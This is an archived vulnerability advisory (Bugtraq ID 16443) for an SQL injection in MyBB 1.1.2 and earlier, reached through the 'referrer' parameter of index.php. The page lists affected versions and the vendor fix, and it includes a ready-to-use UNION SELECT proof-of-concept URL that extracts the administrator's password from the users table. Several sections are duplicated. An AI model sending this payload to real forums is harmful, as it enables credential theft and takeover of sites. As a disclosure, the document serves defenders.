MyBB Index.PHP Referrer Cookie SQL Injection Vulnerability
BID:16443
Info
MyBB Index.PHP Referrer Cookie SQL Injection Vulnerability
| Bugtraq ID: | 16443 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 31 2006 12:00AM |
| Updated: | Sep 19 2006 07:16PM |
| Credit: | Devil-00 is credited with the discovery of this vulnerability. |
| Vulnerable: |
MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.1 MyBulletinBoard MyBulletinBoard 1.1 MyBulletinBoard MyBulletinBoard 1.0.4 MyBulletinBoard MyBulletinBoard 1.0.3 MyBulletinBoard MyBulletinBoard 1.0.2 MyBulletinBoard MyBulletinBoard 1.0.1 MyBulletinBoard MyBulletinBoard 1.0 PR2 MyBulletinBoard MyBulletinBoard 1.0 |
| Not Vulnerable: |
MyBulletinBoard MyBulletinBoard 1.1.8 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.6 MyBulletinBoard MyBulletinBoard 1.1.5 MyBulletinBoard MyBulletinBoard 1.1.4 MyBulletinBoard MyBulletinBoard 1.1.3 MyBulletinBoard MyBulletinBoard 1.2 MyBulletinBoard MyBulletinBoard 1.10 |
Discussion
MyBB Index.PHP Referrer Cookie SQL Injection Vulnerability
MyBB is prone to an SQL-injection vulnerability.
The vulnerability presents itself when user-supplied input via cookie data is passed to the 'index.php' script.
Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.
MyBB 1.1.2 and prior versions are reported vulnerable to this issue.
MyBB is prone to an SQL-injection vulnerability.
The vulnerability presents itself when user-supplied input via cookie data is passed to the 'index.php' script.
Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.
MyBB 1.1.2 and prior versions are reported vulnerable to this issue.
Exploit / POC
MyBB Index.PHP Referrer Cookie SQL Injection Vulnerability
An exploit is not required.
The following proof-of-concept example is available:
http://www.example.com/index.php?referrer=9999999999'%20UNION%20SELECT%20password,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,
9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*
An exploit is not required.
The following proof-of-concept example is available:
http://www.example.com/index.php?referrer=9999999999'%20UNION%20SELECT%20password,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,
9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*
Solution / Fix
MyBB Index.PHP Referrer Cookie SQL Injection Vulnerability
Solution:
The vendor has released updates to address this issue. Please see the references for more information.
Solution:
The vendor has released updates to address this issue. Please see the references for more information.
References
MyBB Index.PHP Referrer Cookie SQL Injection Vulnerability
References:
References:
- MyBulletinBoard Home Page (MyBulletinBoard)